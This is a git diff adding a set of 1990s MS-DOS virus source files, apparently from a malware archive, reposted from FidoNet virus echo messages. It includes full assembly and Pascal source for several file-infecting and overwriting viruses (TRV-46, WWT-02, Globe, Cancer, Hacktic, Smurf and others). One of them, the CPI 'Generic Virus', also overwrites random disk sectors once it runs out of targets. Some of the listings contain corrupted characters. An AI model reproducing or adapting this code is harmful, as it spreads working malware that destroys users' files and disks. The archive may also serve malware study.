Graham Allen +;* Subj : TRV_46.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Doug.Bryce@f718.n283.z2.fidonet.org +;================================================== +; Virus V-46 (distributed by FIDO!!) on July 1991 +; +; disassembled by Andrzej Kadlof July 24, 1991 +; +; (C) Polish Section of Virus Information Bank +;================================================== + +; virus entry point + +segment code +org 100h +begin: mov ah,4Eh ; Find First + mov cl,20h ; archive + mov dx,0128h ; asciiz file name '*.COM', 0 + int 21h + + mov dx,009Eh ; buffer + mov ax,3D01h ; open file for write + int 21h + + mov bx,ax ; file handle + mov dx,0100h ; virus address + mov cl,2Eh ; file length + mov ah,40h ; write file + int 21h + + mov ah,3Eh ; close file + int 21h + + mov ah,4Fh ; find next + int 21h + + mov ax,109h + push ax + retn + + int 20h ; return to DOS + +db '*.COM', 0 +code ends +end begin + +; That's all! + +;-+- GEcho 1.00 +; + Origin: Stop creating them! Virusses aren't great! (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/dSYM[=VAL] Define symbol SYM = 0, or = value VAL +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir04.asm b/MSDOS/Virus.MSDOS.Unknown.vir04.asm new file mode 100644 index 00000000..c9a779f2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir04.asm @@ -0,0 +1,108 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 1 of 61 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : WWT_02.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Graham Allen, 2:283/718 (06 Nov 94 16:06) +;* To : Bill Dirks +;* Subj : WWT_02.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Graham.Allen@f718.n283.z2.fidonet.org +; Virus name WWT-02 +; Description Attack any COM file in current directory +; Comment Don't change Date/Time, ignore ReadOnly +; Date 19 Dec 1990 15:30 +; Place CICTT +; +segment code +org 100h +begin: mov dx,offset FileMask ; FileMask for any COM file + mov ah,4eh ; Find first file + mov cx,1 ; including attrib Archive + int 21h ; Call DOS + jnc Ok ; If no error -> go on + jmp short Exit ; If error -> exit program + +Ok + call Infect ; Do infection + +DoNext + mov dx,80h ; Set DS:DX to DTA + mov ah,4fh ; Find Next file + int 21h ; Call DOS + jnc NextOk ; If no error -> go on + jmp short Exit ; If error -> exit +NextOk + jmp short Ok ; Still next file exist + +Exit + int 20h ; Exit to DOS + +Infect + mov dx,9eh ; Set DS:DX to filename in DTA + mov ax,4300h ; Get file attribute + int 21h ; Call DOS + mov Attrib,cx ; Save attribute for later + xor cx,cx ; New attribute -> normal file + mov ax,4301h ; Set attribute + int 21h ; Call DOS + mov ax,3d02h ; Open file for Read/Write + int 21h ; Call DOS + jc Exit ; If error -> exit + mov bx,ax ; Save handle + mov ax,5700h ; Get file Date/Time + int 21h ; Call DOS + mov Date,dx ; Save date + mov Time,cx ; Save time + mov dx,100h ; DS:DX point to itself + mov ah,40h ; Write to handle + mov cx,offset VirusSize-100h ; Write only virus + int 21h ; Call DOS + mov ax,5701h ; Restore Date/Time + mov cx,Time ; Old time + mov dx,Date ; Old time + int 21h ; Call DOS + mov ah,3eh ; Close file + int 21h ; Call DOS + mov dx,9eh ; Set DS:DX to filename in DTA + mov cx,Attrib ; Restore attribute + mov ax,4301h ; Set file attribute + int 21h ; Call DOS + ret ; Return to caller + + +FileMask + db '*.COM',0 ; File mask for any COM file +Date + dw ? +Time + dw ? +Attrib + dw ? +VirusSize + db ? ; Used to calculate virus + ; size +code ends +end begin +;-+- FidoPCB v1.4 [NR] +; + Origin: Hard disks never die... (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/3 Enable 32-bit processing +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir05.asm b/MSDOS/Virus.MSDOS.Unknown.vir05.asm new file mode 100644 index 00000000..c9b5a16b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir05.asm @@ -0,0 +1,160 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 1 of 60 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : BLJEC_3A.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Brad Frazee, 2:283/718 (06 Nov 94 16:07) +;* To : Edwin Cleton +;* Subj : BLJEC_3A.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Brad.Frazee@f718.n283.z2.fidonet.org +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin + + + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; ----- alma mater + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk +; +;-+- WM v2.09/91-0245 +; + Origin: This virus is Microsoft Windows (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;Syntax: TLINK objfiles, exefile, mapfile, libfiles, deffile +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir06.pas b/MSDOS/Virus.MSDOS.Unknown.vir06.pas new file mode 100644 index 00000000..8f12441c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir06.pas @@ -0,0 +1,138 @@ +{; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 1 of 59 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : GLOBE.C +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Doug Bryce, 2:283/718 (06 Nov 94 16:07) +;* To : Viral Doctor +;* Subj : GLOBE.C +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Doug.Bryce@f718.n283.z2.fidonet.org} +Program Worm; + +{$M 2048,0,4096} + +Uses Dos, Crt; + +Var F1 : File; + F2 : File; + O : String; + Parm : String; + P : DirStr; + N : NameStr; + E : ExtStr; + Buf : Array[0..8000] of Byte; + NumRead : Word; + NumWritten : Word; + DirInfo : SearchRec; + ComExist : SearchRec; + Infect : Byte; + +Procedure StartOrigExe; +Begin + O := ParamStr(0); + FSplit(O,P,N,E); + O := P+N+'.EXE'; + P := ''; + For NumRead := 1 To ParamCount Do + P := P + ParamStr(NumRead); + SwapVectors; + Exec(O,P); + SwapVectors; +End; + +Procedure InfectExe; +Begin +FindFirst('*.EXE',Archive,DirInfo); +While (DosError = 0) And (Infect <> 0) Do + Begin + FSplit(DirInfo.Name,P,N,E); + O := P+N+'.COM'; + FindFirst(O,Hidden,ComExist); + If DosError <> 0 Then + Begin + Assign(F1,O); + Rewrite(F1,1); + BlockWrite(F1,buf,NumRead,NumWritten); + Close(F1); + SetFattr(F1,Hidden); + Dec(Infect); + End; + FindNext(DirInfo); + End; +End; + +Procedure Activate; +Var + T1,T2 : Integer; + I : Real; + X , Y : Byte; + Resolution : Integer; + +Begin +ClrScr; +I := 0; +T2 := 38; +Randomize; +Repeat +Resolution := 50; +For T1 := 0 to Resolution Do + Begin + X := Abs(40+Round(Sin(I)*T2)); + Y := Abs(12-Round(Cos(I)*10)); + GotoXY(X,Y); + Write(''); + I := I + ((Pi*2)/Resolution); + End; + T2 := T2 - 1; + TextColor(Random(14)+1); +Until T2 < 2; +GotoXY(30,12); +TextColor(White); +Write('* The Globe Virus *'); + Asm + Mov Ah,8 + Int 21h + End; +ClrScr; +End; + +Begin + Infect := 3; + Randomize; + Assign(F2,ParamStr(0)); + Reset(F2,1); + BlockRead(F2,buf,SizeOf(buf),NumRead); + Close(F2); + InfectExe; + StartOrigExe; + If Random(16) = 0 then Activate; + Halt(DosExitCode); +End. + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; +;-+- GoldED 2.50.B1016+ +; + Origin: Miami Beach BBS - Nijmegen Nl - 080-732083 - ZyX 19K2 (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/v Include full symbolic debug information +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir08.asm b/MSDOS/Virus.MSDOS.Unknown.vir08.asm new file mode 100644 index 00000000..b1dc15e2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir08.asm @@ -0,0 +1,160 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 1 of 57 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : PIXLCANC.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Viral Doctor, 2:283/718 (06 Nov 94 16:12) +;* To : Fred Lee +;* Subj : PIXLCANC.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Viral.Doctor@f718.n283.z2.fidonet.org + page ,132 + name CANCER + title Cancer - a mutation of the V-847 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start + +start: + jmp cancer + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +vleng db virlen +n_10D db 3 ;Unused +progbeg dd ? +eof dw ? +handle dw ? + +cancer: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + db 0 ;Unused + +code ends + end start +; +;-+- DinoMail v.1.0 Alpha +; + Origin: The PRO-Point on a PRO-BBS and a PRO-*.* ...Ciaro?... (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/n No default libraries +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir09.asm b/MSDOS/Virus.MSDOS.Unknown.vir09.asm new file mode 100644 index 00000000..54b281b8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir09.asm @@ -0,0 +1,95 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 1 of 56 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:10 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : HACKTIC2.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Gilbert Holleman, 2:283/718 (06 Nov 94 16:13) +;* To : Mark Hapershaw +;* Subj : HACKTIC2.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Gilbert.Holleman@f718.n283.z2.fidonet.org +tic segment + org 100h + assume cs:tic, ds:tic, es:tic +; +len equ offset last-100h ;LENGTH OF VIRUS CODE +; +start: mov bx,0fh ;KLUDGE TO AVOID MEMALLOC ERROR + mov ah,4ah + int 21h + mov dx,es + add dh,10h + mov es,dx ;PROGRAM CODE WILL RUN HERE + push dx ;SET UP FOR FAR RETURN + push si + mov ah,26h ;CREATE NEW PSP + int 21h + mov di,si + mov si,offset last + push si + mov ch,0feh + rep movsb ;MOVE PROGRAM CODE UP + dec cx ;=FFFF + pop di + mov dx,offset file + mov ah,4eh ;FIND FIRST .COM FILE + jmp short find +retry: mov ah,4fh ;FIND NEXT +find: int 21h + jc nofile ;NO (MORE) FILES + mov dx,9eh ;FILE NAME IN DTA + mov ax,3d02h ;OPEN FILE + int 21h + xchg ax,bx ;1-BYTE MOVE OF AXBX + mov dx,di ;END OF VIRUS CODE + mov ah,3fh ;READ FILE DATA (CX=FFFF) + int 21h ;READ FILE AFTER VIRUS CODE + add ax,len ;LENGTH OF VIRUS+FILE + cmp byte ptr [di],0bbh ;CHECK IF ALREADY INFECTED + je retry ;TRY AGAIN + push ax + xor cx,cx + mov ax,4200h ;RESET FILE POINTER + cwd ;DX=0 + int 21h + pop cx + mov dh,1 + mov ah,40h ;WRITE INFECTED CODE BACK + int 21h +; +nofile: push es ;GO RUN PROGRAM + pop ds + retf +; +file db '*.COM',0 ;SEARCH FOR .COM FILES +last db 0c3h ;STANDALONE VIRUS CODE JUST RETURNS +tic ends + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; +; +;-+- FastEcho/386 1.41.b7/Real +; + Origin: Miami Beach BBS - Nijmegen Nl - 080-732083 - ZyX 19K2 (2:283/718) +;============================================================================= +; +;Yoo-hooo-oo, -! +; +; +; The MeeO +; +;/dSYM[=VAL] Define symbol SYM = 0, or = value VAL +; +;--- Aidstest Null: /Kill +; * Origin: PVT.ViRIImainboard / Virus Research labs. (2:5030/136) + diff --git a/MSDOS/Virus.MSDOS.Unknown.vir1.asm b/MSDOS/Virus.MSDOS.Unknown.vir1.asm new file mode 100644 index 00000000..c15e7c2b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir1.asm @@ -0,0 +1,262 @@ + +;============================================================================= +; +; C*P*I +; +; CORRUPTED PROGRAMMING INTERNATIONAL +; ----------------------------------- +; p r e s e n t s +; +; T H E +; _ _ +; (g) GENERIC VIRUS (g) +; ^ ^ +; +; +; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF +; CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT +; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR oPROGRAM TO BIG TO +; FIT IN MEMORY@ THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS. +; +; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON +; THE DISK. HAVE PHUN WITH THIS ONE. +; +; ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE +; IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING. +; +; THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE +; HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF +; THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR +; ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE. +; +; DOCTOR DISSECTOR +; CPI ASSOCIATES +; +;============================================================================= + +MAIN: + NOP ;| Marker bytes that identify this program + NOP ;| as infected/a virus + NOP ;| + + MOV AX,00 ;| Initialize the pointers + MOV ES:[POINTER],AX ;| + MOV ES:[COUNTER],AX ;| + MOV ES:[DISKS B],AL ;| + + MOV AH,19 ;| Get the selected drive (dir?) + INT 21 ;| + + MOV CS:DRIVE,AL ;| Get current path (save drive) + MOV AH,47 ;| (dir?) + MOV DH,0 ;| + ADD AL,1 ;| + MOV DL,AL ;| (in actual drive) + LEA SI,CS:OLD_PATH ;| + INT 21 ;| + + MOV AH,0E ;| Find # of drives + MOV DL,0 ;| + INT 21 ;| + CMP AL,01 ;| (Check if only one drive) + JNZ HUPS3 ;| (If not one drive, go the HUPS3) + MOV AL,06 ;| Set pointer to SEARCH_ORDER +6 (one drive) + + HUPS3: MOV AH,0 ;| Execute this if there is more than 1 drive + LEA BX,SEARCH_ORDER ;| + ADD BX,AX ;| + ADD BX,0001 ;| + MOV CS:POINTER,BX ;| + CLC ;| + +CHANGE_DISK: ;| Carry is set if no more .COM files are + JNC NO_NAME_CHANGE ;| found. From here, .EXE files will be + MOV AH,17 ;| renamed to .COM (change .EXE to .COM) + LEA DX,CS:MASKE_EXE ;| but will cause the error message oProgram + INT 21 ;| to large to fit in memory@ when starting + CMP AL,0FF ;| larger infected programs + JNZ NO_NAME_CHANGE ;| (Check if an .EXE is found) + + MOV AH,2CH ;| If neither .COM or .EXE files can be found, + INT 21 ;| then random sectors on the disk will be + MOV BX,CS:POINTER ;| overwritten depending on the system time + MOV AL,CS:[BX] ;| in milliseconds. This is the time of the + MOV BX,DX ;| complete oinfection@ of a storage medium. + MOV CX,2 ;| The virus can find nothing more to infect + MOV DH,0 ;| starts its destruction. + INT 26 ;| (write crap on disk) + +NO_NAME_CHANGE: ;| Check if the end of the search order table + MOV BX,CS:POINTER ;| has been reached. If so, end. + DEC BX ;| + MOV CS:POINTER,BX ;| + MOV DL,CS:[BX] ;| + CMP DL,0FF ;| + JNZ HUPS2 ;| + JMP HOPS ;| + +HUPS2: ;| Get a new drive from the search order table + MOV AH,0E ;| and select it, beginning with the ROOT dir. + INT 21 ;| (change drive) + MOV AH,3B ;| (change path) + LEA DX,PATH ;| + INT 21 ;| + JMP FIND_FIRST_FILE ;| + +FIND_FIRST_SUBDIR: ;| Starting from the root, search for the + MOV AH,17 ;| first subdir. First, (change .exe to .com) + LEA DX,CS:MASKE_EXE ;| convert all .EXE files to .COM in the + INT 21 ;| old directory. + MOV AH,3B ;| (use root directory) + LEA DX,PATH ;| + INT 21 ;| + MOV AH,04E ;| (search for first subdirectory) + MOV CX,00010001B ;| (dir mask) + LEA DX,MASKE_DIR ;| + INT 21 ;| + JC CHANGE_DISK ;| + MOV BX,CS:COUNTER ;| + INC BX ;| + DEC BX ;| + JZ USE_NEXT_SUBDIR ;| + +FIND_NEXT_SUBDIR: ;| Search for the next sub-dir, if no more + MOV AH,4FH ;| are found, the (search for next subdir) + INT 21 ;| drive will be changed. + JC CHANGE_DISK ;| + DEC BX ;| + JNZ FIND_NEXT_SUBDIR ;| + +USE_NEXT_SUBDIR: + MOV AH,2FH ;| Select found directory. (get dta address) + INT 21 ;| + ADD BX,1CH ;| + MOV ES:[BX],W@\@ ;| (address of name in dta) + INC BX ;| + PUSH DS ;| + MOV AX,ES ;| + MOV DS,AX ;| + MOV DX,BX ;| + MOV AH,3B ;| (change path) + INT 21 ;| + POP DS ;| + MOV BX,CS:COUNTER ;| + INC BX ;| + MOV CS:COUNTER,BX ;| + +FIND_FIRST_FILE: ;| Find first .COM file in the current dir. + MOV AH,04E ;| If there are none, (Search for first) + MOV CX,00000001B ;| search the next directory. (mask) + LEA DX,MASKE_COM ;| + INT 21 ;| + JC FIND_FIRST_SUBDIR ;| + JMP CHECK_IF_ILL ;| + +FIND_NEXT_FILE: ;| If program is ill (infected) then search + MOV AH,4FH ;| for another. (search for next) + INT 21 ;| + JC FIND_FIRST_SUBDIR ;| + +CHECK_IF_ILL: ;| Check if already infected by virus. + MOV AH,3D ;| (open channel) + MOV AL,02 ;| (read/write) + MOV DX,9EH ;| (address of name in dta) + INT 21 ;| + MOV BX,AX ;| (save channel) + MOV AH,3FH ;| (read file) + MOV CH,BUFLEN ;| + MOV DX,BUFFER ;| (write in buffer) + INT 21 ;| + MOV AH,3EH ;| (close file) + INT 21 ;| + MOV BX,CS:[BUFFER] ;| (look for three NOPYs) + CMP BX,9090 ;| + JZ FIND_NEXT_FILE ;| + + MOV AH,43 ;| This section by-passes (write enable) + MOV AL,0 ;| the MS/PC DOS Write Protection. + MOV DX,9EH ;| (address of name in dta) + INT 21 ;| + MOV AH,43 ;| + MOV AL,01 ;| + AND CX,11111110B ;| + INT 21 ;| + + MOV AH,3D ;| Open file for read/write (open channel) + MOV AL,02 ;| access (read/write) + MOV DX,9EH ;| (address of name in dta) + INT 21 ;| + + MOV BX,AX ;| Read date entry of program and (channel) + MOV AH,57 ;| save for future use. (get date) + MOV AL,0 ;| + INT 21 ;| + PUSH CX ;| (save date) + PUSH DX ;| + + MOV DX,CS:[CONTA W] ;| The jump located at 0100h (save old jmp) + MOV CS:[JMPBUF],DX ;| the program will be saved for future use. + MOV DX,CS:[BUFFER+1] ;| (save new jump) + LEA CX,CONT-100 ;| + SUB DX,CX ;| + MOV CS:[CONTA],DX ;| + + MOV AH,57 ;| The virus now copies itself to (write date) + MOV AL,1 ;| to the start of the file. + POP DX ;| + POP CX ;| (restore date) + INT 21 ;| + MOV AH,3EH ;| (close file) + INT 21 ;| + + MOV DX,CS:[JMPBUF] ;| Restore the old jump address. The virus + MOV CS:[CONTA],DX ;| at address oCONTA@ the jump which was at the + ;| start of the program. This is done to +HOPS: ;| preserve the executability of the host + NOP ;| program as much as possible. After saving, + CALL USE_OLD ;| it still works with the jump address in the + ;| virus. The jump address in the virus differs + ;| from the jump address in memory + +CONT DB 0E9 ;| Continue with the host program (make jump) +CONTA DW 0 ;| + MOV AH,00 ;| + INT 21 ;| + +USE_OLD: + MOV AH,0E ;| Reactivate the selected (use old drive) + MOV DL,CS:DRIVE ;| drive at the start of the program, and + INT 21 ;| reactivate the selected path at the start + MOV AH,3B ;| of the program.(use old drive) + LEA DX,OLD_PATH-1 ;| (get old path and backslash) + INT 21 ;| + RET ;| + +SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF + +POINTER DW 0000 ;| (pointer f. search order) +COUNTER DW 0000 ;| (counter f. nth. search) +DISKS DB 0 ;| (number of disks) +MASKE_COM DB o*.COM@,00 ;| (search for com files) +MASKE_DIR DB o*@,00 ;| (search for dirYs) +MASKE_EXE DB 0FF,0,0,0,0,0,00111111XB + DB 0,@????????EXE@,0,0,0,0 + DB 0,@????????COM@,0 +MASKE_ALL DB 0FF,0,0,0,0,0,00111111XB + DB 0,@???????????@,0,0,0,0 + DB 0,@????????COM@,0 + +BUFFER EQU 0E00 ;| (a safe place) + +BUFLEN EQU 208H ;| Length of virus. Modify this accordingly + ;| if you modify this source. Be careful + ;| for this may change! + +JMPBUF EQU BUFFER+BUFLEN ;| (a safe place for jmp) + +PATH DB o\@,0 ;| (first place) +DRIVE DB 0 ;| (actual drive) +BACK_SLASH DB o\@ +OLD_PATH DB 32 DUP (?) ;| (old path) + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vir1.rar b/MSDOS/Virus.MSDOS.Unknown.vir1.rar new file mode 100644 index 00000000..2fa73795 Binary files /dev/null and b/MSDOS/Virus.MSDOS.Unknown.vir1.rar differ diff --git a/MSDOS/Virus.MSDOS.Unknown.vir10.asm b/MSDOS/Virus.MSDOS.Unknown.vir10.asm new file mode 100644 index 00000000..363f5428 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vir10.asm @@ -0,0 +1,100 @@ +; PVT.VIRII (2:465/65.4) PVT.VIRII +; Msg : 1 of 55 +; From : MeteO 2:5030/136 Tue 09 Nov 93 09:10 +; To : - *.* - Fri 11 Nov 94 08:10 +; Subj : OW_40.ASM +; +;.RealName: Max Ivanov +; +;* Kicked-up by MeteO (2:5030/136) +;* Area : VIRUS (Int: p p) +;* From : Ron Toler, 2:283/718 (06 Nov 94 16:13) +;* To : Doug Bryce +;* Subj : OW_40.ASM +; +;@RFC-Path: +;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7 +;18.n283!not-for-mail +;@RFC-Return-Receipt-To: Ron.Toler@f718.n283.z2.fidonet.org +;>>> Article From Evolution #2 - YAM '92 +; +;Article Title: The Smurf Virus +;Author: Admiral Bailey + + +;--- +; The Smurf virus [40 Bytes Long] +; +; Author : Admiral Bailey [YAM '92] +; Date : June 6 1992 +; Language : Assembly [TASM 2.0] +; +; Notes:The Smurf virus was my first attempt at writing the smallest +; overwriting virus known. For a first attempt it wasn't that +; bad. So far I have got it down to 40 bytes. The record that +; does the same as this is about 38 bytes. So I gotta loose 2 +; bytes in here somewhere. Well seeing as this small thing is +; probably the easiest virus in the world to disassemble, I have +; included the source in this issue of Evolution for all of you +; to take a look at. The source is for you to use. If you +; happend to make anything smaller using this source please just +; give recognition to myself, Admiral Bailey, saying that you got +; help looking at this source. The only thing that this does is +; find everyfile in the current directory and overwrite the 1st +; 40 bytes with itself. Then locks your computer while it is in +; a search loop looking for more file when there are none. A +; neat thing about this is that it displays its entire self to +; the screen when executed. Scan 91 notices this as the mini +; virus but I dont blame it seeing that you cant realy avoid +; scan when your virus gets this small. Well enjoy the source... +; and remember if you use it and enjoy it just let me know. +;--- +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h ;Make it a .com file + +virus_start equ $ + +start: + mov dx,offset file_type ;type of file to look for + mov ah,4eh ;Find first file command + +infect: + int 21h + mov ax,3d02h ;open again to reset handle + mov dx,80h+1eh ;moves filename into dx + int 21h + mov bx,ax ;save handle again + mov cx,virus_length ;put size of virus in cx + mov dx,100h ;where the code starts + mov ah,40h ;write to handle command + int 21h ;write virus into file + mov ah,3eh ;close handle service + int 21h ;do it + +find_next_file: + mov ah,4fh ;find next file command + jmp infect + +file_type db '*.*',0 